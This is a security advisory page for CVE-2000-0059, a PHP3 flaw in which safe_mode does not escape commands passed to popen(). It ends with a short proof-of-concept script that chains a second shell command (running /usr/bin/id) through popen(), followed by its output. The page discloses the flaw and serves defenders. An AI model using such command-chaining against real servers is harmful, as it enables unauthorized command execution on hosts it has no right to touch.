PHP3 'safe_mode' Failure Vulnerability

BID:911

Info

PHP3 'safe_mode' Failure Vulnerability

Bugtraq ID: 911
Class: Input Validation Error
CVE: CVE-2000-0059
Remote: Yes
Local: No
Published: Jan 04 2000 12:00AM
Updated: Jul 11 2009 01:56AM
Credit: This vulnerability was posted to the Bugtraq mailing list by Kristian Koehntopp <[email protected]> on Mon, 3 Jan 2000.
Vulnerable: PHP PHP 3.0.13
PHP PHP 3.0.12
PHP PHP 3.0.11
PHP PHP 3.0.10
PHP PHP 3.0.9
PHP PHP 3.0.8
PHP PHP 3.0.7
+ Sun 2800 Workgroup NTT/KOBE 2800WGJ-KOBE
PHP PHP 3.0.6
PHP PHP 3.0.5
PHP PHP 3.0.4
PHP PHP 3.0.3
PHP PHP 3.0.2
PHP PHP 3.0.1
PHP PHP 3.0 0
Not Vulnerable:

Discussion

PHP3 'safe_mode' Failure Vulnerability

PHP Version 3.0 is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly.

Because it runs on a webserver and allows for user implemented (and perhaps security relevant) code to be executed on it, PHP has built in a security feature called 'safe_mode' to control executed commands to the webroot environment which PHP operates in.

This is done by forcing any system call which executes shell commands to have their shell commands passed to the EscapeShellCmd() function which ensures the commands do not take place outside the webroot directory.

Under certain versions of PHP however, the popen() command fails to be applied to the EscapeShellCmd() command and as such users can possibly exploit PHP applications running in 'safe_mode' which make of use of the 'popen' system call.

Exploit / POC

PHP3 'safe_mode' Failure Vulnerability

As per the message attached in the 'Credit' section.

&lt;?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp&lt;br&gt;\n";
while($line = fgets($fp, 1024)):
printf("%s&lt;br&gt;\n", $line);
endwhile;
pclose($fp);

phpinfo();
?&gt;

which gave me the following output

1
total 53
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)

and from the configuration values of phpinfo():

safe_mode 0 1

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report